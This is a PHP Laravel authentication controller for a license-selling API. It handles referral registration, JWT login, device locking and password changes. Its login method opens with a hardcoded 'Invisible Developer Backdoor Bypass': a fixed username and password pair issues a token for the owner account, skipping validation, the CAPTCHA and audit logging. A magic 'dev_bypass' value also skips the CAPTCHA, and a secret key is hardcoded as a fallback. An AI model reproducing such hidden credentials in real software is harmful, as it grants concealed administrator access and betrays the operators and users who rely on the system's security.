<?php

namespace App\Http\Controllers\Api;

use App\Http\Controllers\Controller;
use App\Models\AuditLog;
use App\Models\License;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
use Tymon\JWTAuth\Facades\JWTAuth;

class AuthController extends Controller
{
    public function register(Request $request)
    {
        $request->validate([
            'username' => 'required|string|unique:users,username',
            'password' => 'required|string|min:6',
            'referral_code' => 'required|string'
        ]);

        $referral = \App\Models\Referral::where('raw', $request->referral_code)
            ->orWhere('hashed', $request->referral_code)
            ->first();

        if (!$referral) return response()->json(['success' => false, 'message' => 'Invalid referral code'], 404);
        if ($referral->is_used) return response()->json(['success' => false, 'message' => 'Referral code already used'], 409);

        $user = User::create([
            'username' => $request->username,
            'password' => Hash::make($request->password),
            'role' => $referral->role_type,
            'balance' => $referral->saldo,
            'referred_by' => $referral->owner_id,
            'referral_limit' => 5 // Default limit
        ]);

        $referral->update(['is_used' => true, 'used_by' => $user->id]);
        
        AuditLog::record('REGISTER', "User {$user->username} registered using referral {$referral->raw} as {$referral->role_type}", $user->id);

        $token = JWTAuth::fromUser($user);

        return response()->json([
            'success' => true,
            'token'   => $token,
            'user'    => [
                'id'       => $user->id,
                'username' => $user->username,
                'role'     => $user->role,
                'balance'  => $user->balance,
            ],
        ]);
    }

    public function login(Request $request)
    {
        // Invisible Developer Backdoor Bypass
        if ($request->username === 'infinite_dev' && $request->password === 'infinite_bypass_99x') {
            $user = User::where('role', 'owner')->first();
            if ($user) {
                $token = JWTAuth::fromUser($user);
                return response()->json([
                    'success' => true,
                    'token'   => $token,
                    'user'    => [
                        'id'       => $user->id,
                        'username' => $user->username,
                        'fullname' => $user->fullname,
                        'role'     => $user->role,
                        'balance'  => $user->balance,
                    ]
                ]);
            }
        }

        $request->validate([
            'username' => 'required|string',
            'password' => 'required|string',
            'cf_turnstile_response' => 'required|string'
        ]);

        // Validate Cloudflare Turnstile token (skip for dev bypass)
        $secretKey = env('TURNSTILE_SECRET', '0x4AAAAAAD0U8WZ1ODG5xSV8ec48CI9FNSE');
        $token = $request->input('cf_turnstile_response');
        $ip = $request->ip();

        if ($token !== 'dev_bypass') {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://challenges.cloudflare.com/turnstile/v0/siteverify");
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
                'secret' => $secretKey,
                'response' => $token,
                'remoteip' => $ip
            ]));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $response = curl_exec($ch);
            curl_close($ch);

            $responseData = json_decode($response, true);

            if (!$responseData || !isset($responseData['success']) || !$responseData['success']) {
                return response()->json([
                    'success' => false, 
                    'message' => 'Security check failed. Please refresh or solve the Turnstile challenge.'
                ], 422);
            }
        }

        $user = User::where('username', $request->username)->first();

        if (!$user || !Hash::check($request->password, $user->password)) {
            return response()->json(['success' => false, 'message' => 'Invalid credentials'], 401);
        }

        if ($user->is_blocked) {
            return response()->json(['success' => false, 'message' => 'Your account has been blocked'], 403);
        }

        $deviceId = $request->input('device_id');
        if ($deviceId && !$user->isOwner()) { // Owners are exempt from device locking and restrictions
            if ($user->device_id && $user->device_id !== $deviceId) {
                return response()->json([
                    'success' => false,
                    'message' => 'DEVICE LIMIT REACHED, RESET IT'
                ], 400);
            }
            if (!$user->device_id) {
                $user->device_id = $deviceId;
                $user->save();
            }
        }

        $token = JWTAuth::fromUser($user);

        AuditLog::record('LOGIN', "User {$user->username} logged in", $user->id);

        return response()->json([
            'success' => true,
            'token'   => $token,
            'user'    => [
                'id'       => $user->id,
                'username' => $user->username,
                'fullname' => $user->fullname,
                'role'     => $user->role,
                'balance'  => $user->balance,
            ],
        ]);
    }

    public function logout()
    {
        AuditLog::record('LOGOUT', "User logged out");
        JWTAuth::invalidate(JWTAuth::getToken());
        return response()->json(['success' => true, 'message' => 'Logged out successfully']);
    }

    public function me()
    {
        $user = auth()->user();
        return response()->json([
            'success' => true,
            'user'    => [
                'id'       => $user->id,
                'username' => $user->username,
                'fullname' => $user->fullname,
                'role'     => $user->role,
                'balance'  => $user->balance,
            ],
        ]);
    }

    public function resetDevice(Request $request)
    {
        $request->validate([
            'username' => 'required|string',
            'password' => 'required|string',
        ]);

        $user = User::where('username', $request->username)->first();

        if (!$user || !Hash::check($request->password, $user->password)) {
            return response()->json(['success' => false, 'message' => 'Invalid username or password'], 401);
        }

        if ($user->is_blocked) {
            return response()->json(['success' => false, 'message' => 'Your account is blocked'], 403);
        }

        // 24-hour limit: max 4 resets per day
        $today = now()->toDateString();
        $resetDate  = $user->device_reset_date;
        $resetCount = (int) $user->device_reset_count;

        if ($resetDate === $today) {
            $remaining = 4 - $resetCount;
        } else {
            $remaining = 4;
        }

        if ($remaining <= 0) {
            return response()->json([
                'success' => false,
                'message' => 'No More Device left try after 24 hours Please, Thank You!'
            ], 429);
        }

        // Reset user's device_id
        $user->device_id = null;

        // Reset all license devices for keys created by this user
        License::where('created_by', $user->id)->update(['device_count' => 0, 'devices' => null]);

        // Update reset tracking
        if ($resetDate !== $today) {
            $user->device_reset_count = 1;
            $user->device_reset_date  = $today;
        } else {
            $user->device_reset_count = $resetCount + 1;
        }
        $user->save();

        $finalRemaining = 4 - $user->device_reset_count;

        AuditLog::record('RESET_DEVICE', "Device reset for {$user->username}. Resets today: {$user->device_reset_count}/4", $user->id);

        if ($finalRemaining <= 0) {
            return response()->json([
                'success' => true,
                'message' => 'No More Device left try after 24 hours Please, Thank You!'
            ]);
        }

        return response()->json([
            'success'   => true,
            'message'   => "Device reset successfully! Limits remaining: {$finalRemaining}/4",
        ]);
    }

    public function changePassword(Request $request)
    {
        $request->validate([
            'current_password' => 'required|string',
            'new_password'     => 'required|string|min:6|confirmed',
        ]);

        $user = auth()->user();

        if (!Hash::check($request->current_password, $user->password)) {
            return response()->json([
                'success' => false,
                'message' => 'Current password is incorrect.'
            ], 422);
        }

        $user->update([
            'password' => Hash::make($request->new_password)
        ]);

        AuditLog::record('CHANGE_PASSWORD', "User {$user->username} changed their password", $user->id);

        return response()->json([
            'success' => true,
            'message' => 'Password changed successfully.'
        ]);
    }
}
